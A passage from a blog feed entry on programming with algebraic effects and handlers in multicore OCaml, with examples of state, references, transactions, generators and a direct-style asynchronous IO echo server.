  Unix.recv fd buf pos len mode

let send fd bus pos len mode =
  perform (Blk_write fd);
  Unix.send fd bus pos len mode


The scheduler works by running all of the available threads until there are no
more threads to run. At this point, if there are threads that are waiting to
complete an IO operation, the scheduler invokes select() call and blocks
until one of the IO actions becomes available. The scheduler then resumes those
threads whose IO actions are now available:
(* When there are no threads to run, perform blocking io. *)
let perform_io timeout =
  let rd_fds = Hashtbl.fold (fun fd _ acc -> fd::acc) read_ht [] in
  let wr_fds = Hashtbl.fold (fun fd _ acc -> fd::acc) write_ht [] in
  let rdy_rd_fds, rdy_wr_fds, _ = Unix.select rd_fds wr_fds [] timeout in
  let rec resume ht = function
  | [] -> ()
  | x::xs ->
      enqueue (Hashtbl.find ht x);
      Hashtbl.remove ht x;
      resume ht xs
  in
  resume read_ht rdy_rd_fds;
  resume write_ht rdy_wr_fds;
  if timeout >= 0. then ignore (wakeup (Unix.gettimeofday ())) else ();
  dequeue ()


The
program
implements a simple echo server. The server listens on localhost port 9301. It
accepts multiple clients and echoes back to the client any data sent to the
server. This server is a direct-style reimplementation of the echo server found
here,
which implements the echo server in CPS style:
(* Repeat what the client says until the client goes away. *)
let rec echo_server sock addr =
  try
    let data = recv sock 1024 in
    if String.length data > 0 then
      (ignore (send sock data);
       echo_server sock addr)
    else
      let cn = string_of_sockaddr addr in
      (printf "echo_server : client (%s) disconnected.\n%!" cn;
       close sock)
  with
  | _ -> close sock


The echo server can be tested with a telnet client by starting the server and
on the same machine running telnet localhost 9301.
Conclusion
The aim of the post is to illustrate the variety of alternative programming
paradigms that arise due to algebraic effects and handlers, and hopefully
kindle interest in reasoning and programming with effects and handlers in
OCaml. Algebraic effects and handlers support in OCaml is in active development
within the context of multicore
OCaml. When you find those
inevitable bugs, please report them to the issue
tracker.
Programming with Algebraic Effects and Handlers (pdf) ↩
Programming and Reasoning with Algebraic Effects and Dependent Types (pdf) ↩]]></description>
            <content:encoded><![CDATA[<p>In the <a href="http://kcsrk.info/ocaml/multicore/2015/05/20/effects-multicore/">previous
post</a>, I
presented a simple cooperative multithreaded scheduler written using algebraic
effects and their handlers. Algebraic effects are of course useful for
expressing other forms of effectful computations. In this post, I will present
a series of simple examples to illustrate the utility of algebraic effects and
handlers in OCaml. Some of the examples presented here were borrowed from the
excellent paper on Eff programming language<sup id="fnref:Eff" role="doc-noteref"><a href="#fn:Eff" class="footnote" rel="footnote">1</a></sup>. All of the examples
presented below are available
<a href="https://github.com/kayceesrk/ocaml-eff-example">here</a>.</p>

<!--more-->

<h2 id="state">State</h2>

<p>We can use algebraic effects to model <a href="https://github.com/kayceesrk/ocaml-eff-example/blob/master/state.ml">stateful
computation</a>,
with the ability to retrieve (<code class="language-plaintext highlighter-rouge">get</code>) and update (<code class="language-plaintext highlighter-rouge">put</code>) the current state:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">module</span> <span class="k">type</span> <span class="nc">STATE</span> <span class="o">=</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">put</span> <span class="o">:</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">val</span> <span class="n">get</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">-&gt;</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">run</span> <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">init</span><span class="o">:</span><span class="n">t</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="k">end</span></code></pre></figure>

<p>The function <code class="language-plaintext highlighter-rouge">run</code> runs a stateful computation with the given initial state.
Here is the implementation of the module <code class="language-plaintext highlighter-rouge">State</code> which provides the desired
behaviour:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre><span class="k">module</span> <span class="nc">State</span> <span class="p">(</span><span class="nc">S</span> <span class="o">:</span> <span class="k">sig</span> <span class="k">type</span> <span class="n">t</span> <span class="k">end</span><span class="p">)</span> <span class="o">:</span> <span class="nc">STATE</span> <span class="k">with</span> <span class="k">type</span> <span class="n">t</span> <span class="o">=</span> <span class="nn">S</span><span class="p">.</span><span class="n">t</span> <span class="o">=</span> <span class="k">struct</span>
  <span class="k">type</span> <span class="n">t</span> <span class="o">=</span> <span class="nn">S</span><span class="p">.</span><span class="n">t</span>

  <span class="n">effect</span> <span class="nc">Put</span> <span class="o">:</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">let</span> <span class="n">put</span> <span class="n">v</span> <span class="o">=</span> <span class="n">perform</span> <span class="p">(</span><span class="nc">Put</span> <span class="n">v</span><span class="p">)</span>

  <span class="n">effect</span> <span class="nc">Get</span> <span class="o">:</span> <span class="n">t</span>
  <span class="k">let</span> <span class="n">get</span> <span class="bp">()</span> <span class="o">=</span> <span class="n">perform</span> <span class="nc">Get</span>

  <span class="k">let</span> <span class="n">run</span> <span class="n">f</span> <span class="o">~</span><span class="n">init</span> <span class="o">=</span>
    <span class="k">let</span> <span class="n">comp</span> <span class="o">=</span>
      <span class="k">match</span> <span class="n">f</span> <span class="bp">()</span> <span class="k">with</span>
      <span class="o">|</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span> <span class="bp">()</span><span class="p">)</span>
      <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Put</span> <span class="n">s'</span><span class="p">)</span> <span class="n">k</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span> <span class="n">continue</span> <span class="n">k</span> <span class="bp">()</span> <span class="n">s'</span><span class="p">)</span>
      <span class="o">|</span> <span class="n">effect</span> <span class="nc">Get</span> <span class="n">k</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span> <span class="n">continue</span> <span class="n">k</span> <span class="n">s</span> <span class="n">s</span><span class="p">)</span>
    <span class="k">in</span> <span class="n">comp</span> <span class="n">init</span>
<span class="k">end</span>
</pre></td></tr></tbody></table></code></pre></figure>

<p>The key idea here is that the handler converts the stateful computation to
functions that accept the state. For example, observe that if the function <code class="language-plaintext highlighter-rouge">f</code>
returns a <code class="language-plaintext highlighter-rouge">unit</code> value (line 13), we return a function which accepts a state
<code class="language-plaintext highlighter-rouge">s</code> and returns <code class="language-plaintext highlighter-rouge">unit</code>. The handler for effect <code class="language-plaintext highlighter-rouge">Get</code> (line 15) passes the current state <code class="language-plaintext highlighter-rouge">s</code>
to the continuation <code class="language-plaintext highlighter-rouge">k</code>. The expression <code class="language-plaintext highlighter-rouge">continue k s</code> returns a function that
accepts the current state and returns <code class="language-plaintext highlighter-rouge">unit</code>. Since fetching the current state
does not modify it, we apply this function to <code class="language-plaintext highlighter-rouge">s</code>, the original state. Since
<code class="language-plaintext highlighter-rouge">Put</code> modifies the state (line 14), the function returned by <code class="language-plaintext highlighter-rouge">continue k ()</code> is applied
to the new state <code class="language-plaintext highlighter-rouge">s'</code>. We evaluate the computation by applying it to the initial
state <code class="language-plaintext highlighter-rouge">init</code> (line 16).</p>

<p>Observe that the implementation of the handler for the stateful computation is
similar to the implementation of <a href="https://wiki.haskell.org/State_Monad#Implementation">State
monad</a> in Haskell. Except
that in Haskell, you would have the stateful computation <code class="language-plaintext highlighter-rouge">f</code> have the type
<code class="language-plaintext highlighter-rouge">State t ()</code>, which says that <code class="language-plaintext highlighter-rouge">f</code> is a stateful computation where <code class="language-plaintext highlighter-rouge">t</code> is the
type of state and  <code class="language-plaintext highlighter-rouge">()</code> the type of return value. Since multicore OCaml does
not have a effect system, <code class="language-plaintext highlighter-rouge">f</code> simply has type <code class="language-plaintext highlighter-rouge">unit -&gt; unit</code> as opposed to
being explicitly tagged with the effects being performed. While the OCaml type
of <code class="language-plaintext highlighter-rouge">f</code> under specifies the behaviour of <code class="language-plaintext highlighter-rouge">f</code>, it does allow you to combine various
kinds of effects directly, without the need for monad transformer
gymnastics<sup id="fnref:Idris-eff" role="doc-noteref"><a href="#fn:Idris-eff" class="footnote" rel="footnote">2</a></sup>. For example, the following code snippet combines an int
and string typed state computations, each with its own handler:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">module</span> <span class="nc">IS</span> <span class="o">=</span> <span class="nc">State</span> <span class="p">(</span><span class="k">struct</span> <span class="k">type</span> <span class="n">t</span> <span class="o">=</span> <span class="kt">int</span> <span class="k">end</span><span class="p">)</span>
<span class="k">module</span> <span class="nc">SS</span> <span class="o">=</span> <span class="nc">State</span> <span class="p">(</span><span class="k">struct</span> <span class="k">type</span> <span class="n">t</span> <span class="o">=</span> <span class="kt">string</span> <span class="k">end</span><span class="p">)</span>

<span class="k">let</span> <span class="n">foo</span> <span class="bp">()</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">=</span>
  <span class="n">printf</span> <span class="s2">"%d</span><span class="se">\n</span><span class="s2">"</span> <span class="p">(</span><span class="nn">IS</span><span class="p">.</span><span class="n">get</span> <span class="bp">()</span><span class="p">);</span>
  <span class="nn">IS</span><span class="p">.</span><span class="n">put</span> <span class="mi">42</span><span class="p">;</span>
  <span class="n">printf</span> <span class="s2">"%d</span><span class="se">\n</span><span class="s2">"</span> <span class="p">(</span><span class="nn">IS</span><span class="p">.</span><span class="n">get</span> <span class="bp">()</span><span class="p">);</span>
  <span class="nn">IS</span><span class="p">.</span><span class="n">put</span> <span class="mi">21</span><span class="p">;</span>
  <span class="n">printf</span> <span class="s2">"%d</span><span class="se">\n</span><span class="s2">"</span> <span class="p">(</span><span class="nn">IS</span><span class="p">.</span><span class="n">get</span> <span class="bp">()</span><span class="p">);</span>
  <span class="nn">SS</span><span class="p">.</span><span class="n">put</span> <span class="s2">"hello"</span><span class="p">;</span>
  <span class="n">printf</span> <span class="s2">"%s</span><span class="se">\n</span><span class="s2">"</span> <span class="p">(</span><span class="nn">SS</span><span class="p">.</span><span class="n">get</span> <span class="bp">()</span><span class="p">);</span>
  <span class="nn">SS</span><span class="p">.</span><span class="n">put</span> <span class="s2">"world"</span><span class="p">;</span>
  <span class="n">printf</span> <span class="s2">"%s</span><span class="se">\n</span><span class="s2">"</span> <span class="p">(</span><span class="nn">SS</span><span class="p">.</span><span class="n">get</span> <span class="bp">()</span><span class="p">)</span>

<span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="nn">IS</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="nn">SS</span><span class="p">.</span><span class="n">run</span> <span class="n">foo</span> <span class="s2">""</span><span class="p">)</span> <span class="mi">0</span></code></pre></figure>

<p>which prints:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">0
42
21
hello
world</code></pre></figure>

<h2 id="references">References</h2>

<p>We can expand upon our state example, to model <a href="https://github.com/kayceesrk/ocaml-eff-example/blob/master/ref.ml">ML style
references</a>:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">module</span> <span class="nc">State</span> <span class="o">:</span> <span class="k">sig</span>
    <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>

    <span class="k">val</span> <span class="n">ref</span>  <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
    <span class="k">val</span> <span class="p">(</span><span class="o">!</span><span class="p">)</span>  <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span>
    <span class="k">val</span> <span class="p">(</span><span class="o">:=</span><span class="p">)</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">unit</span>

    <span class="k">val</span> <span class="n">run</span>  <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span>
  <span class="k">end</span> <span class="o">=</span> <span class="k">struct</span>

  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">=</span> <span class="p">{</span><span class="n">inj</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="nn">Univ</span><span class="p">.</span><span class="n">t</span><span class="p">;</span> <span class="n">prj</span> <span class="o">:</span> <span class="nn">Univ</span><span class="p">.</span><span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">option</span><span class="p">}</span>

  <span class="n">effect</span> <span class="nc">Ref</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">let</span> <span class="n">ref</span> <span class="n">v</span> <span class="o">=</span> <span class="n">perform</span> <span class="p">(</span><span class="nc">Ref</span> <span class="n">v</span><span class="p">)</span>

  <span class="n">effect</span> <span class="nc">Read</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span>
  <span class="k">let</span> <span class="p">(</span><span class="o">!</span><span class="p">)</span> <span class="o">=</span> <span class="k">fun</span> <span class="n">r</span> <span class="o">-&gt;</span> <span class="n">perform</span> <span class="p">(</span><span class="nc">Read</span> <span class="n">r</span><span class="p">)</span>

  <span class="n">effect</span> <span class="nc">Write</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">let</span> <span class="p">(</span><span class="o">:=</span><span class="p">)</span> <span class="o">=</span> <span class="k">fun</span> <span class="n">r</span> <span class="n">v</span> <span class="o">-&gt;</span> <span class="n">perform</span> <span class="p">(</span><span class="nc">Write</span> <span class="p">(</span><span class="n">r</span><span class="o">,</span><span class="n">v</span><span class="p">))</span>

  <span class="k">let</span> <span class="n">run</span> <span class="n">f</span> <span class="o">=</span>
    <span class="k">let</span> <span class="n">comp</span> <span class="o">=</span>
      <span class="k">match</span> <span class="n">f</span> <span class="bp">()</span> <span class="k">with</span>
      <span class="o">|</span> <span class="n">v</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span> <span class="n">v</span><span class="p">)</span>
      <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Ref</span> <span class="n">v</span><span class="p">)</span> <span class="n">k</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span>
          <span class="k">let</span> <span class="p">(</span><span class="n">inj</span><span class="o">,</span> <span class="n">prj</span><span class="p">)</span> <span class="o">=</span> <span class="nn">Univ</span><span class="p">.</span><span class="n">embed</span> <span class="bp">()</span> <span class="k">in</span>
          <span class="k">let</span> <span class="n">cont</span> <span class="o">=</span> <span class="n">continue</span> <span class="n">k</span> <span class="p">{</span><span class="n">inj</span><span class="p">;</span><span class="n">prj</span><span class="p">}</span> <span class="k">in</span>
          <span class="n">cont</span> <span class="p">(</span><span class="n">inj</span> <span class="n">v</span><span class="o">::</span><span class="n">s</span><span class="p">))</span>
      <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Read</span> <span class="p">{</span><span class="n">inj</span><span class="p">;</span> <span class="n">prj</span><span class="p">})</span> <span class="n">k</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span>
          <span class="k">match</span> <span class="n">find</span> <span class="n">prj</span> <span class="n">s</span> <span class="k">with</span>
          <span class="o">|</span> <span class="nc">Some</span> <span class="n">v</span> <span class="o">-&gt;</span> <span class="n">continue</span> <span class="n">k</span> <span class="n">v</span> <span class="n">s</span>
          <span class="o">|</span> <span class="nc">None</span> <span class="o">-&gt;</span> <span class="n">failwith</span> <span class="s2">"Ref.run: Impossible -&gt; ref not found"</span><span class="p">)</span>
      <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Write</span> <span class="p">({</span><span class="n">inj</span><span class="p">;</span> <span class="n">prj</span><span class="p">}</span><span class="o">,</span> <span class="n">v</span><span class="p">))</span> <span class="n">k</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">s</span> <span class="o">-&gt;</span>
          <span class="n">continue</span> <span class="n">k</span> <span class="bp">()</span> <span class="p">(</span><span class="n">inj</span> <span class="n">v</span><span class="o">::</span><span class="n">s</span><span class="p">))</span>
    <span class="k">in</span> <span class="n">comp</span> <span class="bp">[]</span>
<span class="k">end</span></code></pre></figure>

<p>The idea is to represent the state as a list of universal typed values,
references as a record with inject and project functions to and from universal
type values, assign as appending a new value to the head of the state list, and
dereference as linear search through the list for a matching assignment. The
<a href="https://blogs.janestreet.com/a-universal-type/#comment-163">universal type
implementation</a> is
due to Alan Frisch.</p>

<h2 id="transactions">Transactions</h2>

<p>We may handle lookup and update to implement
<a href="https://github.com/kayceesrk/ocaml-eff-example/blob/master/transaction.ml">transactions</a>
that discards the updates to references in case an exception occurs:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml">  <span class="k">let</span> <span class="n">atomically</span> <span class="n">f</span> <span class="o">=</span>
    <span class="k">let</span> <span class="n">comp</span> <span class="o">=</span>
      <span class="k">match</span> <span class="n">f</span> <span class="bp">()</span> <span class="k">with</span>
      <span class="o">|</span> <span class="n">x</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">_</span> <span class="o">-&gt;</span> <span class="n">x</span><span class="p">)</span>
      <span class="o">|</span> <span class="k">exception</span> <span class="n">e</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">rb</span> <span class="o">-&gt;</span> <span class="n">rb</span> <span class="bp">()</span><span class="p">;</span> <span class="k">raise</span> <span class="n">e</span><span class="p">)</span>
      <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Update</span> <span class="p">(</span><span class="n">r</span><span class="o">,</span><span class="n">v</span><span class="p">))</span> <span class="n">k</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">fun</span> <span class="n">rb</span> <span class="o">-&gt;</span>
          <span class="k">let</span> <span class="n">old_v</span> <span class="o">=</span> <span class="o">!</span><span class="n">r</span> <span class="k">in</span>
          <span class="n">r</span> <span class="o">:=</span> <span class="n">v</span><span class="p">;</span>
          <span class="n">continue</span> <span class="n">k</span> <span class="bp">()</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="n">r</span> <span class="o">:=</span> <span class="n">old_v</span><span class="p">;</span> <span class="n">rb</span> <span class="bp">()</span><span class="p">))</span>
    <span class="k">in</span> <span class="n">comp</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="bp">()</span><span class="p">)</span></code></pre></figure>

<p>Updating a reference builds up a rollback function that negates the effect of
the update. In case of an exception, the rollback function is evaluated before
re-raising the exception. For example, in the following code snippet:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">exception</span> <span class="nc">Res</span> <span class="k">of</span> <span class="kt">int</span>

<span class="k">let</span> <span class="bp">()</span> <span class="o">=</span> <span class="n">atomically</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="c">(* T0 *)</span>
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">ref</span> <span class="mi">10</span> <span class="k">in</span>
  <span class="n">printf</span> <span class="s2">"T0: %d</span><span class="se">\n</span><span class="s2">"</span> <span class="p">(</span><span class="o">!</span><span class="n">r</span><span class="p">);</span>
  <span class="k">try</span> <span class="n">atomically</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="c">(* T1 *)</span>
    <span class="n">r</span> <span class="o">:=</span> <span class="mi">20</span><span class="p">;</span>
    <span class="n">r</span> <span class="o">:=</span> <span class="mi">21</span><span class="p">;</span>
    <span class="n">printf</span> <span class="s2">"T1: Before abort %d</span><span class="se">\n</span><span class="s2">"</span> <span class="p">(</span><span class="o">!</span><span class="n">r</span><span class="p">);</span>
    <span class="k">raise</span> <span class="p">(</span><span class="nc">Res</span> <span class="o">!</span><span class="n">r</span><span class="p">);</span>
    <span class="n">printf</span> <span class="s2">"T1: After abort %d</span><span class="se">\n</span><span class="s2">"</span> <span class="p">(</span><span class="o">!</span><span class="n">r</span><span class="p">);</span>
    <span class="n">r</span> <span class="o">:=</span> <span class="mi">30</span><span class="p">)</span>
  <span class="k">with</span>
  <span class="o">|</span> <span class="nc">Res</span> <span class="n">v</span> <span class="o">-&gt;</span> <span class="n">printf</span> <span class="s2">"T0: T1 aborted with %d</span><span class="se">\n</span><span class="s2">"</span> <span class="n">v</span><span class="p">;</span>
  <span class="n">printf</span> <span class="s2">"T0: %d</span><span class="se">\n</span><span class="s2">"</span> <span class="o">!</span><span class="n">r</span><span class="p">)</span></code></pre></figure>

<p>the updates to reference <code class="language-plaintext highlighter-rouge">r</code> by transaction <code class="language-plaintext highlighter-rouge">T1</code> are discarded on exception and
the program prints the following:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">T0: 10
T1: Before abort 21
T0: T1 aborted with 21
T0: 10</code></pre></figure>

<h2 id="from-iterators-to-generators">From Iterators to Generators</h2>

<p>An iterator is a fold-function of type <code class="language-plaintext highlighter-rouge">('a -&gt; unit) -&gt; unit</code>, that iterates a
client function over all the elements of a data structure. A generator is a
function of type <code class="language-plaintext highlighter-rouge">unit -&gt; 'a option</code> that returns <code class="language-plaintext highlighter-rouge">Some v</code> each time the
function is invoked, where <code class="language-plaintext highlighter-rouge">v</code> is the <em>next-element</em> in the data structure. The
function returns <code class="language-plaintext highlighter-rouge">None</code> if the traversal is complete. Unlike an iterator, the
generator hands over control of the traversal to the client of the library.</p>

<p>Gabriel Scherer’s insightful article on <a href="http://gallium.inria.fr/blog/generators-iterators-control-and-continuations/">generators, iterators, control and
continuations</a>
nicely distinguish, motivate and provide implementation of different kinds of
iterators and generators for binary trees. While the iterator implementation is
obvious and straight-forward, the generator implementation requires translating
the code to CPS style and manually performing simplifications for efficient
traversal. Since algebraic effects handlers give us a handle to the
continuation, we can essentially <a href="https://github.com/kayceesrk/ocaml-eff-example/blob/master/generator.ml"><em>derive</em> the generator implementation from
the
iterator</a>.</p>

<p>Let us consider a binary tree with the following type:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">=</span> <span class="nc">Leaf</span> <span class="o">|</span> <span class="nc">Node</span> <span class="k">of</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span></code></pre></figure>

<p>We can define an iterator that traverses the tree from left to right as follows:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">let</span> <span class="k">rec</span> <span class="n">iter</span> <span class="n">f</span> <span class="o">=</span> <span class="k">function</span>
  <span class="o">|</span> <span class="nc">Leaf</span> <span class="o">-&gt;</span> <span class="bp">()</span>
  <span class="o">|</span> <span class="nc">Node</span> <span class="p">(</span><span class="n">l</span><span class="o">,</span> <span class="n">x</span><span class="o">,</span> <span class="n">r</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">iter</span> <span class="n">f</span> <span class="n">l</span><span class="p">;</span> <span class="n">f</span> <span class="n">x</span><span class="p">;</span> <span class="n">iter</span> <span class="n">f</span> <span class="n">r</span></code></pre></figure>

<p>From this iterator, we derive the generator as follows:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre><span class="k">let</span> <span class="n">to_gen</span> <span class="p">(</span><span class="k">type</span> <span class="n">a</span><span class="p">)</span> <span class="p">(</span><span class="n">t</span> <span class="o">:</span> <span class="n">a</span> <span class="n">t</span><span class="p">)</span> <span class="o">=</span>
  <span class="k">let</span> <span class="k">module</span> <span class="nc">M</span> <span class="o">=</span> <span class="k">struct</span> <span class="n">effect</span> <span class="nc">Next</span> <span class="o">:</span> <span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">unit</span> <span class="k">end</span> <span class="k">in</span>
  <span class="k">let</span> <span class="k">open</span> <span class="nc">M</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">step</span> <span class="o">=</span> <span class="n">ref</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="k">assert</span> <span class="bp">false</span><span class="p">)</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">first_step</span> <span class="bp">()</span> <span class="o">=</span>
    <span class="k">try</span>
      <span class="n">iter</span> <span class="p">(</span><span class="k">fun</span> <span class="n">x</span> <span class="o">-&gt;</span> <span class="n">perform</span> <span class="p">(</span><span class="nc">Next</span> <span class="n">x</span><span class="p">))</span> <span class="n">t</span><span class="p">;</span>
      <span class="nc">None</span>
    <span class="k">with</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Next</span> <span class="n">v</span><span class="p">)</span> <span class="n">k</span> <span class="o">-&gt;</span>
      <span class="n">step</span> <span class="o">:=</span> <span class="n">continue</span> <span class="n">k</span><span class="p">;</span>
      <span class="nc">Some</span> <span class="n">v</span>
  <span class="k">in</span>
    <span class="n">step</span> <span class="o">:=</span> <span class="n">first_step</span><span class="p">;</span>
    <span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="o">!</span><span class="n">step</span> <span class="bp">()</span>
</pre></td></tr></tbody></table></code></pre></figure>

<p>At each step of the iteration, we perform the effect <code class="language-plaintext highlighter-rouge">Next : a -&gt; unit</code> (line
7), which is handled by saving the continuation to a local reference and
returning the value (line 9 - 11). Since the effect handlers are provided with
the continuation, we are able to invert the control from the library to the
client of the library. This avoids the need to perform manual CPS translation.</p>

<h2 id="direct-style-asynchronous-io">Direct-style asynchronous IO</h2>

<p>Since the effect handler has access to the continuation, we can implement
minimal <a href="https://github.com/kayceesrk/ocaml-eff-example/blob/master/aio.ml">asynchronous IO in
direct-style</a>
as opposed to the monadic style of asynchronous IO libraries such as Lwt and
Async. Our asynchronous IO library has the following interface:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">module</span> <span class="k">type</span> <span class="nc">AIO</span> <span class="o">=</span> <span class="k">sig</span>

  <span class="k">val</span> <span class="n">fork</span>  <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">val</span> <span class="n">yield</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span>

  <span class="k">type</span> <span class="n">file_descr</span> <span class="o">=</span> <span class="nn">Unix</span><span class="p">.</span><span class="n">file_descr</span>
  <span class="k">type</span> <span class="n">sockaddr</span> <span class="o">=</span> <span class="nn">Unix</span><span class="p">.</span><span class="n">sockaddr</span>
  <span class="k">type</span> <span class="n">msg_flag</span> <span class="o">=</span> <span class="nn">Unix</span><span class="p">.</span><span class="n">msg_flag</span>

  <span class="k">val</span> <span class="n">accept</span> <span class="o">:</span> <span class="n">file_descr</span> <span class="o">-&gt;</span> <span class="n">file_descr</span> <span class="o">*</span> <span class="n">sockaddr</span>
  <span class="k">val</span> <span class="n">recv</span>   <span class="o">:</span> <span class="n">file_descr</span> <span class="o">-&gt;</span> <span class="n">bytes</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="n">msg_flag</span> <span class="kt">list</span> <span class="o">-&gt;</span> <span class="kt">int</span>
  <span class="k">val</span> <span class="n">send</span>   <span class="o">:</span> <span class="n">file_descr</span> <span class="o">-&gt;</span> <span class="n">bytes</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="kt">int</span> <span class="o">-&gt;</span> <span class="n">msg_flag</span> <span class="kt">list</span> <span class="o">-&gt;</span> <span class="kt">int</span>
  <span class="k">val</span> <span class="n">sleep</span>  <span class="o">:</span> <span class="kt">float</span> <span class="o">-&gt;</span> <span class="kt">unit</span>

  <span class="k">val</span> <span class="n">run</span> <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="k">end</span></code></pre></figure>

<p>Observe that the return type of the non-blocking function calls <code class="language-plaintext highlighter-rouge">accept</code>,
<code class="language-plaintext highlighter-rouge">recv</code>, <code class="language-plaintext highlighter-rouge">send</code> and <code class="language-plaintext highlighter-rouge">sleep</code> are the same as their blocking counterparts from
